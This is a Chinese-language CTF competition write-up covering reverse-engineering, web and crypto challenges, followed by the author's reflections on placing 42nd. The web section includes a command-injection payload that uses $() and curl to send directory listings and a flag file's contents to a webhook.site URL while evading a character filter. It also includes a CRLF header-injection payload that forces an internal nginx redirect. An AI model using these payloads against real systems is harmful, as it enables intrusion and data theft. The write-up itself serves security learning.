Author:堇姬Naup
Rank : 42
Misc
Welcome
簽到 DC就有
reverse
Flag Generator
題目會把這坨Block寫進flag.exe(原本看了一陣子,不是很理解她在幹嘛www,後來我突然看懂了那一坨東西我根本不用理解她在幹嘛)
直接用x64gdb
抓參數,看他把甚麼寫進去就行了
把寫了甚麼截下來,然後包回.exe就行了
stateful
幸好我都使用工人智慧把式子抓出來
有
Correct!!!
跟WRONG!!!
,直接去state_machine()看dest怎麼產生。你會看到50個state,他會經過一堆運算來一個一個呼叫,所以要先搞清楚他到底怎麼呼叫,可以先把他寫的code抓下來,一一標號run一次看順序。
順序
1 | 15 |
最後就是工人智慧了,抓下來,反過來做一遍,就可以還原flag了
1 | k_target=[ |
人工智慧成功還原FLAG,建議這題改叫人工智慧&工人智慧
Web
DNS Lookup Tool: Final
題目源代碼
1 | <?php |
他過濾掉了
1 | ['|', '&', ';', '>', '<', "\n", 'flag', '*', '?'] |
而且看到這個推知可以command injection
1 | exec("host {$_POST['name']}", $output, $retcode); |
我找到一個叫做$()
可以執行command
所以我構造了payload
1 | $(curl https://webhook.site/33c6a830-fd48-4997-a9e3-6f9f7f82877d -X POST -d "$(ls /)") |
用webhook來收根目錄底下有啥
最後直接cat flag(flag被過濾直接用'
就可以了)
1 | $(curl https://webhook.site/33c6a830-fd48-4997-a9e3-6f9f7f82877d -X POST -d "$(cat /f'l'ag_uPa6TE7GaQ4m9RiV)") |
Internal
這題有夠好玩!
server
1 | from http.server import ThreadingHTTPServer, BaseHTTPRequestHandler |
nginx conf
1 | server { |
一個http server
假如你直接訪問/flag,會因為nginx設定internal
,報404,所以只能透過nginx內部來訪問,假如可以用nginx內部來訪問,那他會用http://web:7777
來代理訪問
怎麼用內部訪問可以參考
https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/X-Accel-Redirect
如果在你訪問的response header就會透過nginx內部來重新導向,所以就直接用%0d%0a
來塞進response header
最後構造出
1 | redir=https://www.pixiv.net/%0d%0aX-Accel-Redirect:/flag |
Crypto
Baby AES
server
1 | from Crypto.Cipher import AES |
這題有給你三個counter跟三個密文(CFB、OFB、CTR)
另外他給你可以任意去選擇你要做甚麼加密的東東(可以做五次),有點小複雜,原本我想說把所有可能性算一遍就好,後來還是認真算了一下
觀察一下
用CTR+CBF的bit-flipping attack來解就可以了
第一步
丟CTR
,b’\x00’
得到 E(Counter4)
第二步
丟CFB
,
拿到 E(Counter2)+E(E(Counter2))
第三步
丟CFB
,
拿到 E(Counter3)
第四步
丟CFB
,
拿到 Counter1+E(Counter1)
第五步
丟CFB
,
拿到 C0加密前前16bytes + E(C0加密後前16bytes)
最後解開
Baby RSA
server
1 | #! /usr/bin/python3 |
卡超久最後發現最後面送xor的根本就不需要
只要nc三次,你就會拿到三組$N$跟$C$,直接broadcast attack就可以了。
1 | import gmpy2 |
不過聽說好像是出爛了,原本不是要broadcast attack。
Baby ECDLP
server
1 | from sage.all import * |
壓線解出來
首先就是算p、q,直接用 sage 解那個三次方程式,不過要取的是那兩個正根,因為p、q是質數,一定是正的。
1 | from sage.all import * |
這樣就可以解出p、q了
然後開始解決
他建立了
並建立在橢圓曲線上選擇了兩個點
並且這題跟這個很像可以參考。
https://github.com/diogoaj/ctf-writeups/blob/master/2017/picoctf/cryptography/ECC2-200/README.md
1 | C = bytes_to_long(flag) * G |
可以算出G,接下來就是個ECDLP問題,這題可以先在mod p底下做ECDLP,之後在mod q底下做ECDLP,最後CRT組起來。
1 | discrete_log(Cp, Gp, operation='+') |
最後算出來的拿去轉回bytes就行了
1 | 57366797191231613035327741961845991344248661489459273665787893494679511245498164076089068791122584458195315239399543984814150684970509045350166875864014581887869 |
壓線17分鐘搞出來
感想
這次EOF超快樂的,打得比我預計的還要好很多,原本以為大概在70幾名左右www。
單人賽真的硬呀,第一天因為感冒所以只解出了web第一題,之後狀態好了陸陸續續就開始想出來。
第二天,解出了一題web跟crypto,nginx那題我只能說,超級酷。
最後一天狀態蠻好的,把很多題目都想出來,狀態機是真的繁瑣,工人智慧算。另外是那個RSA,被詐欺了兩天,根本不用下面的xor運算www。
最後能算出ECC超讚的,壓線算出來,原本差一點點,最後17分鐘壓線解出來,直接衝到42。(前兩天一直在邊緣徘徊真的很緊張,壓力頗大)
- 不過copypasta那題真的差一點點啊QQ,如果能看出format string可以塞東西,就可以直接偽造session+Union injection解出500分++
- 這次的比賽讓我覺得我真的有進步,尤其是web跟crypto,一個解出兩題+差點解出第三題,以及解出三題。
- 決賽加油,希望可以打進前幾
最後放張解出來的全圖